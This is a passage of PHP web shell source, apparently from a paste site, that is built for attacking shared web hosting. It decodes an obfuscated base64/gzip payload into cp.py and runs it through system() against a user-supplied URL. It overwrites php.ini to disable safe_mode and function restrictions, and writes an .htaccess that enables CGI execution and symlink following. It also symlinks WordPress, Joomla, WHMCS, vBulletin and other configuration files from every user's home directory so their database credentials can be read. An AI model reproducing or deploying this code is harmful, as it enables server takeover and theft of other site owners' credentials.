eg9gXEaDy0PhdI/wyqq/6eSX4JnC/mVj03V6PchD2zcp4ZsMbibf3sQ722Zu0kDzZ4WD8Le6cCesjlvTWe2l+g/3RZ8t7voJ9473wE6lmgdLGKubGPIw88yRCJRWnTFy48JX8Sq/RjT+m9aYTHGgKfHDOcGVBn+g7wPJxzt6gxtH28/e7iVINqsCTLj/ogWgOXFZyxdiST73V6+WUvJP9xffRxLzz25bfY7zCe/Yu5zT4u+s27/Tb3fOTLqdufWlHHNGcdL3rpOP2Gx255hbVA6f54Tlhd56rWsORqnJoF6LHEcE55yYwSzgsnjzribPE5voWzupl30CP4BnB5ja/7SS7Hd/M9Fm2PfrfX+h6v9jJHnqPBV50l1Eud72nfmUwC7yVQDH9q1X1JYvsRdrp/RD7wutx8ikfPusuj8ol8d27w2J+cePxZTc7u8uj5n+Ax/ZjHxHaO9f0rdRPfx5h+AqP4GCMOjWqiQm4ynkea5NPTsOasfsGLNPhcIVvfQe9+wqrOn9JTna+bPZH2OeTq/PwL72xrP+ZyLxs5T0A/yaHXp6Ax+f+A9Qe94HiugtykzRkc4l/2nFY/gH3XvaqeV1PSwi1nFXSsh3rd7Kon/Y194Fxvd3m/1AlDvfcYx/61TmqMLXzv/cCpbvvB7/P/N2/+EF9/wo2WZ9X4ytHl+Ty/WW9n7d7ncNk6Q4vrGe1v8P0ztuo+tvHtujr67U0v5efe+YH+ys/o79f8/hjjnf5OPanW4M/Whuffxda5i+13+/w5t+r93Mb3cqvdyO0Wa94jxATvot9/+iz3W/zdzEaZtwE8vJ7Ts7f3SL21rwZ6nBmAe+pg+T/R3OmQ4dv5/+K9wWxuD8o51FHt98Ogku9B6pnQ0r9HKfnvnw==';
  2509. $file = fopen("cp.py","w+");
  2510. $write = fwrite ($file , htmlspecialchars_decode(gzinflate(base64_decode($cp))));
  2511. fclose($file);
  2512. chmod("cp.py",0755);
  2513. $url = $_POST['url'];
  2514. echo"<center>
  2515. <textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
  2516. system("python cp.py $url config");
  2517. unlink ('cp.py');
  2518. echo"</textarea>
  2519. </center>";
  2520. echo "<body style='background:#000000;color:#ffffff;font-size:17px;font-family:Tahoma,Verdana,Arial;'><br/><center>[Done] : <span style='color:#EB4949;'>Successfull, </span> <a href=".$_SERVER['PHP_SELF']." style='text-decoration:none;'><input type='button' value='Back !'></a></center></body>";
  2521. exit;
  2522. }
  2523. if(isset($_POST['matikan']) =='sekatan'){
  2524. @error_reporting(0);
  2525. $phpini =
  2526. 'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
  2527. $file = fopen("php.ini","w+");
  2528. $write = fwrite ($file ,base64_decode($phpini));
  2529. fclose($file);
  2530. $htaccess =
  2531. 'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
  2532. $file = fopen(".htaccess","w+");
  2533. $write = fwrite ($file ,base64_decode($htaccess));
  2534. echo "<body style='background:#000000;color:#ffffff;font-size:17px;font-family:Tahoma,Verdana,Arial;'><br/><center>[Done] : <span style='color:".$color[0].";'>Successfull, </span> <a href=".$_SERVER['PHP_SELF']." style='text-decoration:none;'><input type='button' value='Back !'></a></center></body>";
  2535. exit;
  2536. }
  2537. if(isset($_POST['mendapatkan']) == 'passwd'){
  2538. @set_magic_quotes_runtime(0);
  2539. ob_start();
  2540. error_reporting(0);
  2541. @set_time_limit(0);
  2542. @ini_set('max_execution_time',0);
  2543. @ini_set('output_buffering',0);
  2544. $fn = $_POST['foldername'];
  2545. function syml($usern,$pdomain)
  2546. {
  2547. symlink('/home/'.$usern.'/public_html/inc/config.php',$pdomain.'~~MyBB.txt');
  2548. symlink('/home/'.$usern.'/public_html/sites/default/settings.php',$pdomain.'~~Drupal.txt');
  2549. symlink('/home/'.$usern.'/public_html/includes/configure.php',$pdomain.'~~Oscommerce.txt');
  2550. symlink('/home/'.$usern.'/public_html/lib/config.php',$pdomain.'~~Balitbang.txt');
  2551. symlink('/home/'.$usern.'/public_html/config/koneksi.php',$pdomain.'~~Lokomedia.txt');
  2552. symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  2553. symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  2554. symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  2555. symlink('/home/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  2556. symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  2557. symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  2558. symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  2559. symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  2560. symlink('/home/'.$usern.'/public_html/wp/wp-config.php',$pdomain.'~~Wordpress3.txt');
  2561. symlink('/home/'.$usern.'/public_html/home/wp-config.php',$pdomain.'~~Wordpress4.txt');
  2562. symlink('/home/'.$usern.'/public_html/main/wp-config.php',$pdomain.'~~Wordpress5.txt');
  2563. symlink('/home/'.$usern.'/public_html/site/wp-config.php',$pdomain.'~~Wordpress6.txt');
  2564. symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  2565. symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  2566. symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  2567. symlink('/home/'.$usern.'/public_html/main/configuration.php',$pdomain.'~~Joomla4.txt');
  2568. symlink('/home/'.$usern.'/public_html/home/configuration.php',$pdomain.'~~Joomla5.txt');
  2569. symlink('/home/'.$usern.'/public_html/site/configuration.php',$pdomain.'~~Joomla6.txt');
  2570. symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  2571. symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  2572. symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  2573. symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  2574. symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  2575. symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  2576. symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  2577. symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  2578. symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  2579. symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~Other1.txt');
  2580. symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~Other2.txt');
  2581. symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  2582. symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~Other3.txt');
  2583. symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~Other4.txt');
  2584. symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  2585. symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~Other5.txt');
  2586. symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  2587. symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  2588. symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  2589. symlink('/home2/'.$usern.'/public_html/inc/config.php',$pdomain.'~~MyBB.txt');
  2590. symlink('/home2/'.$usern.'/public_html/sites/default/settings.php',$pdomain.'~~Drupal.txt');
  2591. symlink('/home2/'.$usern.'/public_html/includes/configure.php',$pdomain.'~~Oscommerce.txt');
  2592. symlink('/home2/'.$usern.'/public_html/lib/config.php',$pdomain.'~~Balitbang.txt');
  2593. symlink('/home2/'.$usern.'/public_html/config/koneksi.php',$pdomain.'~~Lokomedia.txt');
  2594. symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  2595. symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  2596. symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  2597. symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  2598. symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  2599. symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  2600. symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  2601. symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  2602. symlink('/home2/'.$usern.'/public_html/wp/wp-config.php',$pdomain.'~~Wordpress3.txt');
  2603. symlink('/home2/'.$usern.'/public_html/home/wp-config.php',$pdomain.'~~Wordpress4.txt');
  2604. symlink('/home2/'.$usern.'/public_html/main/wp-config.php',$pdomain.'~~Wordpress5.txt');
  2605. symlink('/home2/'.$usern.'/public_html/site/wp-config.php',$pdomain.'~~Wordpress6.txt');
  2606. symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  2607. symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  2608. symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  2609. symlink('/home2/'.$usern.'/public_html/main/configuration.php',$pdomain.'~~Joomla4.txt');
  2610. symlink('/home2/'.$usern.'/public_html/home/configuration.php',$pdomain.'~~Joomla5.txt');
  2611. symlink('/home2/'.$usern.'/public_html/site/configuration.php',$pdomain.'~~Joomla6.txt');
  2612. symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  2613. symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  2614. symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  2615. symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  2616. symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  2617. symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  2618. symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  2619. symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  2620. symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  2621. symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~Other1.txt');
  2622. symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~Other2.txt');
  2623. symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  2624. symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~Other3.txt');
  2625. symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~Other4.txt');
  2626. symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  2627. symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~Other5.txt');
  2628. symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  2629. symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  2630. symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  2631. symlink('/home3/'.$usern.'/public_html/inc/config.php',$pdomain.'~~MyBB.txt');
  2632. symlink('/home3/'.$usern.'/public_html/sites/default/settings.php',$pdomain.'~~Drupal.txt');
  2633. symlink('/home3/'.$usern.'/public_html/includes/configure.php',$pdomain.'~~Oscommerce.txt');
  2634. symlink('/home3/'.$usern.'/public_html/lib/config.php',$pdomain.'~~Balitbang.txt');
  2635. symlink('/home3/'.$usern.'/public_html/config/koneksi.php',$pdomain.'~~Lokomedia.txt');
  2636. symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  2637. symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  2638. symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  2639. symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  2640. symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  2641. symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  2642. symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  2643. symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  2644. symlink('/home3/'.$usern.'/public_html/wp/wp-config.php',$pdomain.'~~Wordpress3.txt');
  2645. symlink('/home3/'.$usern.'/public_html/home/wp-config.php',$pdomain.'~~Wordpress4.txt');
  2646. symlink('/home3/'.$usern.'/public_html/main/wp-config.php',$pdomain.'~~Wordpress5.txt');
  2647. symlink('/home3/'.$usern.'/public_html/site/wp-config.php',$pdomain.'~~Wordpress6.txt');
  2648. symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  2649. symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  2650. symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  2651. symlink('/home3/'.$usern.'/public_html/main/configuration.php',$pdomain.'~~Joomla4.txt');
  2652. symlink('/home3/'.$usern.'/public_html/home/configuration.php',$pdomain.'~~Joomla5.txt');
  2653. symlink('/home3/'.$usern.'/public_html/site/configuration.php',$pdomain.'~~Joomla6.txt');
  2654. symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  2655. symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  2656. symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  2657. symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  2658. symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  2659. symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  2660. symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  2661. symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  2662. symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  2663. symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~Other1.txt');
  2664. symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~Other2.txt');
  2665. symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  2666. symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~Other3.txt');
  2667. symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~Other4.txt');
  2668. symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  2669. symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~Other5.txt');
  2670. symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  2671. symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  2672. symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  2673. symlink('/home4/'.$usern.'/public_html/inc/config.php',$pdomain.'~~MyBB.txt');
  2674. symlink('/home4/'.$usern.'/public_html/sites/default/settings.php',$pdomain.'~~Drupal.txt');
  2675. symlink('/home4/'.$usern.'/public_html/includes/configure.php',$pdomain.'~~Oscommerce.txt');
  2676. symlink('/home4/'.$usern.'/public_html/lib/config.php',$pdomain.'~~Balitbang.txt');
  2677. symlink('/home4/'.$usern.'/public_html/config/koneksi.php',$pdomain.'~~Lokomedia.txt');
  2678. symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  2679. symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  2680. symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  2681. symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  2682. symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  2683. symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  2684. symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  2685. symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  2686. symlink('/home4/'.$usern.'/public_html/wp/wp-config.php',$pdomain.'~~Wordpress3.txt');
  2687. symlink('/home4/'.$usern.'/public_html/home/wp-config.php',$pdomain.'~~Wordpress4.txt');
  2688. symlink('/home4/'.$usern.'/public_html/main/wp-config.php',$pdomain.'~~Wordpress5.txt');
  2689. symlink('/home4/'.$usern.'/public_html/site/wp-config.php',$pdomain.'~~Wordpress6.txt');
  2690. symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  2691. symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  2692. symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  2693. symlink('/home4/'.$usern.'/public_html/main/configuration.php',$pdomain.'~~Joomla4.txt');
  2694. symlink('/home4/'.$usern.'/public_html/home/configuration.php',$pdomain.'~~Joomla5.txt');
  2695. symlink('/home4/'.$usern.'/public_html/site/configuration.php',$pdomain.'~~Joomla6.txt');
  2696. symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  2697. symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  2698. symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  2699. symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  2700. symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  2701. symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  2702. symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  2703. symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  2704. symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  2705. symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~Other1.txt');
  2706. symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~Other2.txt');
  2707. symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  2708. symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~Other3.txt');
  2709. symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~Other4.txt');
  2710. symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  2711. symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~Other5.txt');
  2712. symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  2713. symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  2714. symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  2715. symlink('/home5/'.$usern.'/public_html/inc/config.php',$pdomain.'~~MyBB.txt');
  2716. symlink('/home5/'.$usern.'/public_html/sites/default/settings.php',$pdomain.'~~Drupal.txt');
  2717. symlink('/home5/'.$usern.'/public_html/includes/configure.php',$pdomain.'~~Oscommerce.txt');
  2718. symlink('/home5/'.$usern.'/public_html/lib/config.php',$pdomain.'~~Balitbang.txt');
  2719. symlink('/home5/'.$usern.'/public_html/config/koneksi.php',$pdomain.'~~Lokomedia.txt');
  2720. symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  2721. symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  2722. symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  2723. symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  2724. symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  2725. symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  2726. symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  2727. symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  2728. symlink('/home5/'.$usern.'/public_html/wp/wp-config.php',$pdomain.'~~Wordpress3.txt');
  2729. symlink('/home5/'.$usern.'/public_html/home/wp-config.php',$pdomain.'~~Wordpress4.txt');
  2730. symlink('/home5/'.$usern.'/public_html/main/wp-config.php',$pdomain.'~~Wordpress5.txt');
  2731. symlink('/home5/'.$usern.'/public_html/site/wp-config.php',$pdomain.'~~Wordpress6.txt');
  2732. symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  2733. symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  2734. symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  2735. symlink('/home5/'.$usern.'/public_html/main/configuration.php',$pdomain.'~~Joomla4.txt');
  2736. symlink('/home5/'.$usern.'/public_html/home/configuration.php',$pdomain.'~~Joomla5.txt');
  2737. symlink('/home5/'.$usern.'/public_html/site/configuration.php',$pdomain.'~~Joomla6.txt');
  2738. symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  2739. symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  2740. symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  2741. symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  2742. symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  2743. symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  2744. symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  2745. symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  2746. symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  2747. symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~Other1.txt');
  2748. symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~Other2.txt');
  2749. symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  2750. symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~Other3.txt');
  2751. symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~Other4.txt');
  2752. symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  2753. symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~Other5.txt');
  2754. symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  2755. symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  2756. symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  2757. symlink('/home6/'.$usern.'/public_html/inc/config.php',$pdomain.'~~MyBB.txt');
  2758. symlink('/home6/'.$usern.'/public_html/sites/default/settings.php',$pdomain.'~~Drupal.txt');
  2759. symlink('/home6/'.$usern.'/public_html/includes/configure.php',$pdomain.'~~Oscommerce.txt');
  2760. symlink('/home6/'.$usern.'/public_html/lib/config.php',$pdomain.'~~Balitbang.txt');
  2761. symlink('/home6/'.$usern.'/public_html/config/koneksi.php',$pdomain.'~~Lokomedia.txt');
  2762. symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  2763. symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  2764. symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  2765. symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  2766. symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  2767. symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  2768. symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  2769. symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  2770. symlink('/home6/'.$usern.'/public_html/wp/wp-config.php',$pdomain.'~~Wordpress3.txt');
  2771. symlink('/home6/'.$usern.'/public_html/home/wp-config.php',$pdomain.'~~Wordpress4.txt');
  2772. symlink('/home6/'.$usern.'/public_html/main/wp-config.php',$pdomain.'~~Wordpress5.txt');
  2773. symlink('/home6/'.$usern.'/public_html/site/wp-config.php',$pdomain.'~~Wordpress6.txt');
  2774. symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  2775. symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  2776. symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  2777. symlink('/home6/'.$usern.'/public_html/main/configuration.php',$pdomain.'~~Joomla4.txt');
  2778. symlink('/home6/'.$usern.'/public_html/home/configuration.php',$pdomain.'~~Joomla5.txt');
  2779. symlink('/home6/'.$usern.'/public_html/site/configuration.php',$pdomain.'~~Joomla6.txt');
  2780. symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  2781. symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  2782. symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  2783. symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  2784. symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  2785. symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  2786. symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  2787. symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  2788. symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  2789. symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~Other1.txt');
  2790. symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~Other2.txt');
  2791. symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  2792. symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~Other3.txt');
  2793. symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~Other4.txt');
  2794. symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  2795. symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~Other5.txt');
  2796. symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  2797. symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  2798. symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  2799. symlink('/home7/'.$usern.'/public_html/inc/config.php',$pdomain.'~~MyBB.txt');
  2800. symlink('/home7/'.$usern.'/public_html/sites/default/settings.php',$pdomain.'~~Drupal.txt');
  2801. symlink('/home7/'.$usern.'/public_html/includes/configure.php',$pdomain.'~~Oscommerce.txt');
  2802. symlink('/home7/'.$usern.'/public_html/lib/config.php',$pdomain.'~~Balitbang.txt');
  2803. symlink('/home7/'.$usern.'/public_html/config/koneksi.php',$pdomain.'~~Lokomedia.txt');
  2804. symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  2805. symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
